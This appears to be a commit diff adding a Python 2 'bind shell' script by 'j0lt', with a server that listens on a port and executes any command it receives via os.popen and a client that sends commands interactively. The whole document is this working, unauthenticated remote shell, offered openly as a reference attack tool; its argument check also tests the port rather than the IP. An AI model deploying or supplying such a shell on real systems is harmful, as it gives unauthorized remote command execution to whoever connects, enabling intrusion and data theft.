|
| 1 | +# Require python2 |
| 2 | +# Bind shell by j0lt |
| 3 | +# This script is just for giving reference that how bind shell look like in python, you can modify as per your need. |
| 4 | +# Usage Format : |
| 5 | +# For Running Server : twelvth.py server [port] |
| 6 | +# For Running client : Usage Format : twelvth.py client [port] [ip of server] |
| 7 | + |
| 8 | +import socket |
| 9 | +from sys import argv |
| 10 | +from os import _exit |
| 11 | +import json |
| 12 | +from zlib import compress,decompress |
| 13 | + |
| 14 | + |
| 15 | +class server: |
| 16 | + |
| 17 | + def __init__(self,port): |
| 18 | + self.ip = socket.gethostbyname(socket.gethostname()) |
| 19 | + self.port = port |
| 20 | + |
| 21 | + def start(self): |
| 22 | + try: |
| 23 | + so = socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
| 24 | + so.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) |
| 25 | + so.bind((self.ip,self.port)) |
| 26 | + except socket.error: |
| 27 | + print "There is some error with address...\t The Server could not be started" |
| 28 | + _exit(1) |
| 29 | + try: |
| 30 | + so.listen(1) |
| 31 | + print "Waiting for connection ..." |
| 32 | + while 1: |
| 33 | + host = socket.gethostbyname(socket.gethostname()) |
| 34 | + ob , address = so.accept() |
| 35 | + print "Connected with %s "%address[0] |
| 36 | + ob.send(compress(json.dumps({"msg":"Connected With %s"%host , "location":self.__cmd('cd')[1]}).encode())) |
| 37 | + while 1: |
| 38 | + try: |
| 39 | + command = ob.recv(2048) |
| 40 | + assert(command != "exit") |
| 41 | + reply = self.__cmd(command) |
| 42 | + data = json.dumps({"output":reply[0], "location":reply[1]}) |
| 43 | + ob.send(compress(data.encode())) |
| 44 | + except socket.error: |
| 45 | + print "Connection Ended..\n Reconnecting..." |
| 46 | + break |
| 47 | + except (KeyboardInterrupt,AssertionError): |
| 48 | + print "Stoping server .." |
| 49 | + ob.send("Server Stopped..") |
| 50 | + ob.close() |
| 51 | + so.close() |
| 52 | + _exit(1) |
| 53 | + |
| 54 | + except socket.error: |
| 55 | + print "Connection problem .." |
| 56 | + so.close() |
| 57 | + _exit(1) |
| 58 | + except KeyboardInterrupt: |
| 59 | + print "Stoping server .." |
| 60 | + so.close() |
| 61 | + _exit(1) |
| 62 | + |
| 63 | + def __cmd(self,command): |
| 64 | + from os import popen |
| 65 | + try: |
| 66 | + o = popen(command).read() |
| 67 | + q = popen('cd').read() |
| 68 | + return (o,q) |
| 69 | + except: |
| 70 | + return "Sorry!! Command not executed" |
| 71 | + |
| 72 | + |
| 73 | + |
| 74 | + |
| 75 | +class client: |
| 76 | + |
| 77 | + def __init__(self,ip, port): |
| 78 | + self.ip = ip |
| 79 | + self.port = port |
| 80 | + |
| 81 | + def start(self): |
| 82 | + so = socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
| 83 | + while 1: |
| 84 | + try: |
| 85 | + so.connect((self.ip,self.port)) |
| 86 | + data = json.loads(decompress(so.recv(2048)).decode()) |
| 87 | + print data.get('msg') |
| 88 | + except socket.error: |
| 89 | + print "Connection Error ... or Server is down" |
| 90 | + if raw_input("Try Reconnect[Y/n]").lower() == 'n': |
| 91 | + _exit(1) |
| 92 | + else: |
| 93 | + continue |
| 94 | + |
| 95 | + while 1: |
| 96 | + try: |
| 97 | + |
| 98 | + a = raw_input('%s>'%data.get('location').replace('\n','')) |
| 99 | + so.sendall(a) |
| 100 | + assert(a.lower() != 'exit') |
| 101 | + data = json.loads(decompress(so.recv(2048)).decode()) |
| 102 | + print data.get('output') |
| 103 | + except (socket.error,AssertionError) : |
| 104 | + print "Server Disconnected" |
| 105 | + so.close() |
| 106 | + _exit(1) |
| 107 | + |
| 108 | + |
| 109 | + |
| 110 | + |
| 111 | + |
| 112 | +if __name__ == "__main__": |
| 113 | + |
| 114 | + try: |
| 115 | + assert(argv[1].lower() in ["client", "server"]) |
| 116 | + assert (int(argv[2]) in range(1, 65535)) |
| 117 | + |
| 118 | + port = int(argv[2]) |
| 119 | + if argv[1].lower() == "client": |
| 120 | + ip = argv[3] |
| 121 | + assert (socket.inet_aton(argv[2])) |
| 122 | + s = client(ip, port) |
| 123 | + s.start() |
| 124 | + |
| 125 | + else: |
| 126 | + s = server(port) |
| 127 | + s.start() |
| 128 | + |
| 129 | + except: |
| 130 | + print "The Parameter provided are wrong \n\n\tUsage Format : twelvth.py [client/server] [port] [ip{just for client}]" |
| 131 | + _exit(1) |
| 132 | + |
0 commit comments